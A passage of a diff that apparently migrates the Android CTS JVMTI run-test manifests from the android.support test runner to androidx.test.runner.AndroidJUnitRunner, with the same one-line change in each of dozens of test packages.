--- a/hostsidetests/jvmti/run-tests/test-1933/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1933/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1933" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1934/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1934/app/AndroidManifest.xml
index a7b005b..2eba450 100644
--- a/hostsidetests/jvmti/run-tests/test-1934/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1934/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1934" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
index 0241071..57cf5cd 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1936" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1937/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1937/app/AndroidManifest.xml
index 795e3b2..7f2c98c 100644
--- a/hostsidetests/jvmti/run-tests/test-1937/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1937/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1937" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1939/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1939/app/AndroidManifest.xml
index 3c5814d..3b6af0e 100644
--- a/hostsidetests/jvmti/run-tests/test-1939/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1939/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1939" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1941/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1941/app/AndroidManifest.xml
index f80234a..782e74f 100644
--- a/hostsidetests/jvmti/run-tests/test-1941/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1941/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1941" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1942/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1942/app/AndroidManifest.xml
index 14cd1c7..9921110 100644
--- a/hostsidetests/jvmti/run-tests/test-1942/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1942/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1942" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1943/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1943/app/AndroidManifest.xml
index 79efdd5..a0c1182 100644
--- a/hostsidetests/jvmti/run-tests/test-1943/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1943/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_1943" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-902/app/AndroidManifest.xml
index 6a2edd6..b16bceb 100644
--- a/hostsidetests/jvmti/run-tests/test-902/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-902/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_902" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-903/app/AndroidManifest.xml
index 4823c99..8dabdd0 100644
--- a/hostsidetests/jvmti/run-tests/test-903/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-903/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_903" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-904/app/AndroidManifest.xml
index 59ef42c..584487c 100644
--- a/hostsidetests/jvmti/run-tests/test-904/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-904/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_904" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-905/app/AndroidManifest.xml
index 9092bf7..4eabd98 100644
--- a/hostsidetests/jvmti/run-tests/test-905/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-905/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_905" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-906/app/AndroidManifest.xml
index c06dc7e..f622b86 100644
--- a/hostsidetests/jvmti/run-tests/test-906/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-906/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_906" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-907/app/AndroidManifest.xml
index 0e96029..9bb1a8a 100644
--- a/hostsidetests/jvmti/run-tests/test-907/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-907/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_907" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-908/app/AndroidManifest.xml
index 2dddb65..cb3660d 100644
--- a/hostsidetests/jvmti/run-tests/test-908/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-908/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_908" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-910/app/AndroidManifest.xml
index 6fbbb29..b0215b5 100644
--- a/hostsidetests/jvmti/run-tests/test-910/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-910/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_910" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-911/app/AndroidManifest.xml
index 1284b25..a36b2b7 100644
--- a/hostsidetests/jvmti/run-tests/test-911/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-911/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_911" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
index d689692..358cd64 100644
--- a/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_912" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml
index bd183b8..5649bb2 100644
--- a/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_913" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-914/app/AndroidManifest.xml
index 5d6869c..2c9489f 100644
--- a/hostsidetests/jvmti/run-tests/test-914/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-914/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_914" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-915/app/AndroidManifest.xml
index 12c417e..823678f 100644
--- a/hostsidetests/jvmti/run-tests/test-915/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-915/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_915" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-917/app/AndroidManifest.xml
index 114aa4c..40df834 100644
--- a/hostsidetests/jvmti/run-tests/test-917/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-917/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_917" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-918/app/AndroidManifest.xml
index 96ce8aa..0109de3 100644
--- a/hostsidetests/jvmti/run-tests/test-918/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-918/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_918" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-919/app/AndroidManifest.xml
index 7ce0424..9de1b2f 100644
--- a/hostsidetests/jvmti/run-tests/test-919/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-919/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_919" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-920/app/AndroidManifest.xml
index 1c85104..6ea6aee 100644
--- a/hostsidetests/jvmti/run-tests/test-920/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-920/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_920" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-922/app/AndroidManifest.xml
index 985352d..2ada6b6 100644
--- a/hostsidetests/jvmti/run-tests/test-922/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-922/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_922" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-923/app/AndroidManifest.xml
index 3c8bced..19ff0ae 100644
--- a/hostsidetests/jvmti/run-tests/test-923/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-923/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_923" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-924/app/AndroidManifest.xml
index bcc74c3..d3b6f0d 100644
--- a/hostsidetests/jvmti/run-tests/test-924/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-924/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_924" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-926/app/AndroidManifest.xml
index b2a855a..8a2cc60 100644
--- a/hostsidetests/jvmti/run-tests/test-926/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-926/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_926" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-927/app/AndroidManifest.xml
index 966014a..e8beda3 100644
--- a/hostsidetests/jvmti/run-tests/test-927/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-927/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_927" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-928/app/AndroidManifest.xml
index 1a4d25b..f6b0c7d 100644
--- a/hostsidetests/jvmti/run-tests/test-928/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-928/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_928" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-930/app/AndroidManifest.xml
index 505448f..db195c2 100644
--- a/hostsidetests/jvmti/run-tests/test-930/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-930/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_930" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-931/app/AndroidManifest.xml
index 710e208..9903cec 100644
--- a/hostsidetests/jvmti/run-tests/test-931/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-931/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_931" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-932/app/AndroidManifest.xml
index 6c4affd..9abc08e 100644
--- a/hostsidetests/jvmti/run-tests/test-932/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-932/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_932" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-940/app/AndroidManifest.xml
index 227e058..7d24f58 100644
--- a/hostsidetests/jvmti/run-tests/test-940/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-940/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_940" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-942/app/AndroidManifest.xml
index c40171f..708774c 100644
--- a/hostsidetests/jvmti/run-tests/test-942/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-942/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_942" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-944/app/AndroidManifest.xml
index 2492237..3aefafa 100644
--- a/hostsidetests/jvmti/run-tests/test-944/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-944/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_944" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-945/app/AndroidManifest.xml
index bfe5f24..abf4e5b 100644
--- a/hostsidetests/jvmti/run-tests/test-945/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-945/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_945" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-947/app/AndroidManifest.xml
index 36a85ef..e3522b1 100644
--- a/hostsidetests/jvmti/run-tests/test-947/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-947/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_947" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-951/app/AndroidManifest.xml
index be50d55..596eb3b 100644
--- a/hostsidetests/jvmti/run-tests/test-951/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-951/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_951" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-982/app/AndroidManifest.xml
index d1cc7b1..9cb8e37 100644
--- a/hostsidetests/jvmti/run-tests/test-982/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-982/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_982" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-983/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-983/app/AndroidManifest.xml
index c7a04e8..e321f00 100644
--- a/hostsidetests/jvmti/run-tests/test-983/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-983/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_983" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-984/app/AndroidManifest.xml
index 963cd51..637e5b1 100644
--- a/hostsidetests/jvmti/run-tests/test-984/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-984/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_984" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-985/app/AndroidManifest.xml
index 4b0ffa5..9ff634a 100644
--- a/hostsidetests/jvmti/run-tests/test-985/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-985/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_985" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-986/app/AndroidManifest.xml
index 4c12d93..37b50d8 100644
--- a/hostsidetests/jvmti/run-tests/test-986/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-986/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_986" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-988/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-988/app/AndroidManifest.xml
index b4f7af8..dfeb070 100644
--- a/hostsidetests/jvmti/run-tests/test-988/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-988/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_988" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-989/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-989/app/AndroidManifest.xml
index c04d145..e567a66 100644
--- a/hostsidetests/jvmti/run-tests/test-989/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-989/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for JVMTI"
android:targetPackage="android.jvmti.cts.run_test_989" >
</instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-990/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-990/app/AndroidManifest.xml
index 6d6f063..fd87c21 100644
--- a/hostsidetests/jvmti/run-tests/test-990/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-990/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
